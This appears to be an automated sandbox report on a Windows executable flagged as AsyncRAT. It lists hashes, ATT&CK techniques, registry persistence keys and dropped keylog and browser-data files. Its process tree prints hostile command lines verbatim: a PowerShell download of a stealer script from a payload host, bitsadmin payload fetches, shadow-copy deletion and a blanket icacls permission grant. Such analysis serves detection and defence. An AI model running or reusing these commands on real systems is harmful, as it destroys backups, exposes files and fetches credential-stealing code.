asyncrat | a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
21/04/2026, 19:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Size 43KB
Sample260421-ya4e5abs9q
SHA256 a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1
MD5 4f368e96f204d5311c3dc5fd6afad4f3
SHA1 670a510cd8a9447eefc0753936eab2b575d33db1
SHA512 319fd16998417e2cba9872856f505d508d68180dcf301ccf95652c1760161dca900297a20e05f8cf01520171099a154c15dc724f06c273cc61f95d550b54effa
SSDEEP 768:3q7x+KuBDinmIRfHYWnT/lxBQSvSRCf8guRbheuoVNtrZLv9D+:vBDiOWT/HBZqQUguRbguINXLv9D+
TLSH
T1861339007BFC1A25F2FE4BBCA87952454276F9239932C34E1CC4509E1AA37C0AA51FE2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery dropper execution asyncrat impact persistence ransomware rat stealer

Malware Config

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4740	powershell.exe
2128	powershell.exe

Download via BitsAdmin 1 TTPs 4 IoCs

dropper

BITS Jobs

T1197

pid	Process
1420	bitsadmin.exe
2100	bitsadmin.exe
552	bitsadmin.exe
1564	bitsadmin.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5056	icacls.exe
4204	icacls.exe

Adds Run key to start application 2 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityCenter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\SecurityCenter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemHelper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateSvc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
1876	reg.exe
4188	reg.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4740	powershell.exe
2128	powershell.exe
4740	powershell.exe
4740	powershell.exe
2128	powershell.exe
2128	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Token: SeDebugPrivilege	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	2128	powershell.exe
Token: SeIncreaseQuotaPrivilege	3824	WMIC.exe
Token: SeSecurityPrivilege	3824	WMIC.exe
Token: SeTakeOwnershipPrivilege	3824	WMIC.exe
Token: SeLoadDriverPrivilege	3824	WMIC.exe
Token: SeSystemProfilePrivilege	3824	WMIC.exe
Token: SeSystemtimePrivilege	3824	WMIC.exe
Token: SeProfSingleProcessPrivilege	3824	WMIC.exe
Token: SeIncBasePriorityPrivilege	3824	WMIC.exe
Token: SeCreatePagefilePrivilege	3824	WMIC.exe
Token: SeBackupPrivilege	3824	WMIC.exe
Token: SeRestorePrivilege	3824	WMIC.exe
Token: SeShutdownPrivilege	3824	WMIC.exe
Token: SeDebugPrivilege	3824	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3824	WMIC.exe
Token: SeRemoteShutdownPrivilege	3824	WMIC.exe
Token: SeUndockPrivilege	3824	WMIC.exe
Token: SeManageVolumePrivilege	3824	WMIC.exe
Token: 33	3824	WMIC.exe
Token: 34	3824	WMIC.exe
Token: 35	3824	WMIC.exe
Token: 36	3824	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1896	WMIC.exe
Token: SeSecurityPrivilege	1896	WMIC.exe
Token: SeTakeOwnershipPrivilege	1896	WMIC.exe
Token: SeLoadDriverPrivilege	1896	WMIC.exe
Token: SeSystemProfilePrivilege	1896	WMIC.exe
Token: SeSystemtimePrivilege	1896	WMIC.exe
Token: SeProfSingleProcessPrivilege	1896	WMIC.exe
Token: SeIncBasePriorityPrivilege	1896	WMIC.exe
Token: SeCreatePagefilePrivilege	1896	WMIC.exe
Token: SeBackupPrivilege	1896	WMIC.exe
Token: SeRestorePrivilege	1896	WMIC.exe
Token: SeShutdownPrivilege	1896	WMIC.exe
Token: SeDebugPrivilege	1896	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1896	WMIC.exe
Token: SeRemoteShutdownPrivilege	1896	WMIC.exe
Token: SeUndockPrivilege	1896	WMIC.exe
Token: SeManageVolumePrivilege	1896	WMIC.exe
Token: 33	1896	WMIC.exe
Token: 34	1896	WMIC.exe
Token: 35	1896	WMIC.exe
Token: 36	1896	WMIC.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3852 wrote to memory of 1420	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	81
PID 3852 wrote to memory of 3260	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	83
PID 828 wrote to memory of 2100	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	85
PID 3260 wrote to memory of 4740	3260	cmd.exe	87
PID 828 wrote to memory of 2424	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	89
PID 3852 wrote to memory of 424	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	91
PID 2424 wrote to memory of 2128	2424	cmd.exe	93
PID 828 wrote to memory of 4608	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	94
PID 3852 wrote to memory of 3936	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	96
PID 828 wrote to memory of 4684	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	98
PID 424 wrote to memory of 3824	424	cmd.exe	100
PID 3852 wrote to memory of 4672	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	101
PID 4608 wrote to memory of 1896	4608	cmd.exe	103
PID 828 wrote to memory of 2328	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	105
PID 3852 wrote to memory of 3284	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	107
PID 828 wrote to memory of 3160	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	109
PID 3852 wrote to memory of 1252	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	111
PID 4672 wrote to memory of 5056	4672	cmd.exe	113
PID 828 wrote to memory of 2448	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	114
PID 3852 wrote to memory of 3172	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	116
PID 2328 wrote to memory of 4204	2328	cmd.exe	118
PID 3284 wrote to memory of 1876	3284	cmd.exe	119
PID 828 wrote to memory of 1780	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	120
PID 3852 wrote to memory of 3056	3852	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	121
PID 3160 wrote to memory of 4188	3160	cmd.exe	124
PID 1252 wrote to memory of 552	1252	cmd.exe	125
PID 828 wrote to memory of 4412	828	a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe	126
PID 2448 wrote to memory of 1564	2448	cmd.exe	128

C:\Users\Admin\AppData\Local\Temp\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
"C:\Users\Admin\AppData\Local\Temp\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3852
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer UltraBurnJob /download /priority high http://localhost/test %TEMP%\burn.dat
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:1420
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -c "Invoke-WebRequest -Uri https://payload.xn--n8j214gc5bw6au22f3y7b.jp.net/stealer.ps1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "Invoke-WebRequest -Uri https://payload.xn--n8j214gc5bw6au22f3y7b.jp.net/stealer.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4740
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic shadowcopy delete /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:424
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3936
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "%SystemDrive%\Users" /grant Everyone:F /T
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users" /grant Everyone:F /T
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:5056
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "xn--n8j214gc5bw6au22f3y7b.jp.net" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "xn--n8j214gc5bw6au22f3y7b.jp.net" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1876
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer job1 /download /priority high http://localhost/payload %TEMP%\payload.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /transfer job1 /download /priority high http://localhost/payload C:\Users\Admin\AppData\Local\Temp\payload.exe
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:552
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Process hollowing & UAC bypass simulation > nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3172
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3056

C:\Users\Admin\AppData\Local\Temp\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
C:\Users\Admin\AppData\Local\Temp\a286230e158f8dac250e25ffeb933e404a129edbf4d15ac42ee270c4693455d1.exe
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:828
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer UltraBurnJob /download /priority high http://localhost/test %TEMP%\burn.dat
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2100
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -c "Invoke-WebRequest -Uri https://payload.xn--n8j214gc5bw6au22f3y7b.jp.net/stealer.ps1"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -c "Invoke-WebRequest -Uri https://payload.xn--n8j214gc5bw6au22f3y7b.jp.net/stealer.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2128
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic shadowcopy delete /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1896
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "%SystemDrive%\Users" /grant Everyone:F /T
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users" /grant Everyone:F /T
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:4204
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "xn--n8j214gc5bw6au22f3y7b.jp.net" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\TestMalware /v C2Server /t REG_SZ /d "xn--n8j214gc5bw6au22f3y7b.jp.net" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4188
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer job1 /download /priority high http://localhost/payload %TEMP%\payload.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /transfer job1 /download /priority high http://localhost/payload C:\Users\Admin\AppData\Local\Temp\payload.exe
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:1564
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo Process hollowing & UAC bypass simulation > nul
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

BITS Jobs

T1197

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

BITS Jobs

T1197

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Windows Credential Manager

T1555.004

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_l1e5bcmx.3g2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l1e5bcmx.3g2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

chrome_login_data.log

Path C:\Users\Admin\AppData\Local\Temp\chrome_login_data.log
Size 55B
SHA256 9e496c6d73bf152e2d73cad0f55269b17e0c3b57289aa85d3c188367f9accbae
MD5 8f6ac28852beca3e94e6edb887d4ffe9
SHA1 d5473c04e63ab0e6a0120003ff760f206c9a4e8d
SHA512 43da2ed0f112462e3779ca348d3a0502ad3a75663ec5ccc1b0fd8631ee1380d55e7df742708cdb58bd99250e16b83a0cbd2034ae8f57cfa0acb7b29808c6d8c9
TLSH
T14F90022226EF2805300014C6F2A4999B81541911197C519C6928713104CC5577D79541
MD5 SHA1 SHA512 TLSH

Submit Download

clipboard_stolen.log

Path C:\Users\Admin\AppData\Local\Temp\clipboard_stolen.log
Size 31B
SHA256 fa892fb1f8270044a19012b7fc3686c59bb72154d3b19cafb4f6d1de1e581908
MD5 e3e8d758e169a2d1e1e064439873ff93
SHA1 262f1a46460018466660c2b21b862c70f3f3b5b9
SHA512 915ca4104fcc22b8f98f6597fba2a02c3c5a15bec7c8fb7368b4bcebf520f21156965db1ff0da9d5240179c079429a77976a3f10c413992c08c70d014647bc5d
MD5 SHA1 SHA512

Submit Download

exfil_full_browser_data.zip

Path C:\Users\Admin\AppData\Local\Temp\exfil_full_browser_data.zip
Size 31B
SHA256 c36c3ccfe27df471aca7a85ed6e6d5352b036c71a84bbafbd7f9c31130c91655
MD5 9f4bc516f8620179301177b870968fb1
SHA1 ee6eb14b850efa93feffe52a639713112a120280
SHA512 762a063eef3408f5a6a9800b1f507544aef93339d6c3450d02547d1eec89ab54491eb68f4e49bd1011bea1ea3a94b21233463a07d58a132d2839763f049f0ad7
MD5 SHA1 SHA512

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 161B
SHA256 5d43b08b8f376e175d6abd960fbee2aab9f492ec50a3ca1d8b6f1e34885e6e80
MD5 cb2fd475fb78a6959aefec9950737d0a
SHA1 712594440b22796e496cec1daa7a8cad78cfab73
SHA512 d3ac4d2a44eaf2c2641e9033714aac79b619d02e3332aab41eb4fea9a75b9b56cefa0f865a09c58488e939cc147778f35473ba0f6315a73280e592aae52057c5
TLSH
T190C08C2108D000E52308E2AE982FFB48211B2030A3002C8AECF4C080849CD053F28BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 291B
SHA256 9d6060d0933ca11554e05f098133a8893cb8d9c69168ddf9e844601dba930698
MD5 671b1e367f678587f95c71681f3222b2
SHA1 3640608504725ae4e2380bffb0e00678aef6833a
SHA512 08e9a94ec62b58d48209d8348a9a6a557ee8350ab8adf28baef21ab23f8bbe8ab0286d6fc3b2755c588181ff2589b7c9115eb5106448299fc8da36148b431a1d
TLSH
T1FCD0122108D001EA2359E2AED96FFB49211B147477006D8AEDF4C095996DE057F29BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 421B
SHA256 518454a0a85f737b2d6dfd8f0035c0bcfccea1492b08e7206fb1bedde518cc27
MD5 5d072eae5a9d09d04fb85fd4c6f68238
SHA1 28383d43a9e9a61b8ab13567a3952e3739b026dc
SHA512 9591c0354db7abca31ff721dccfb2e2e382efc93bb08bf8534f445e3d32b075a688824cf6d9b871a376f8a51797e14db79a034c3c4b1cbe33255ab24b93dc740
TLSH
T191E0ED2108D002EA2359E2AED96FFB49211B147437006DDAEDF4C095996DE057F29BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 486B
SHA256 a1b93ba025d462d1f798be8c56b49bae555eccb0a1c34263d6f48059a96ce62a
MD5 3e96a5e2320d0cb5ab7fb585100235a2
SHA1 add7b6436f6090b713fcbf4cc051716b20174004
SHA512 159063c7f8248b88576cebd92b1515a2a7b35ec0b37fc2c618849945abac3a588a07457525607d8563219d422d998a6d58dacd333a5d1f5b0d00810681109553
TLSH
T1F2F0A22108D002DA6359E2AED96FFB45211B147437006DDAEDF4C095A96DE057F29BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 551B
SHA256 3135edcb06f794e25a6fe49ca4ce9fcd6e542b3077fe3a3ded44139f7e0e355d
MD5 7ab526e4750ddf228479d859292b5667
SHA1 feb1c9c4a7b8ccdf858ca6bf349221128009ee0d
SHA512 efd57dc635f7443ae72a8895b4ca92aba0dd3636d1ae45d23e8cfeb2f90900c5a9767ecdcf0264e6dcc5ac40c5c5457b17247306d854d549762c2f431cbe3a1d
TLSH
T1A6F0D02108D002DA2359E2EED96FFB45211B147437006DDAEDF4C0D5A96DE057F29BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 616B
SHA256 56a3c0e43ef372acec165acd59cfe5665f0e9ee84275788373de86bcf9065190
MD5 89ab14f6d3eff3c8f605d38b49c9d099
SHA1 7dd134bc894458c0d4b8f8d87a2dc12002f1bdaf
SHA512 7dc335eab9976550c3f093a9180fb3d04747105bf4c58c587360f585ca9a7af9f1ee35fbdcccb5614717389e77120bdc6548a5fd9492f1f2a442bebe2a68fe77
TLSH
T1F2F0AF2108D002DA2359E2EED96FFB45211B147477006DDAEDF4C0D5A9ADE057F29BCE
MD5 SHA1 SHA512 TLSH

Submit Download

keylog.txt

Path C:\Users\Admin\AppData\Local\Temp\keylog.txt
Size 681B
SHA256 bd1d76ab3123414f9759e456cf99ecb6f814b7436004a445b5280c4bdc1b165c
MD5 f548caea960526062c7792072c69a238
SHA1 253509ba9ce538b354d87ac6b738610e585d9138
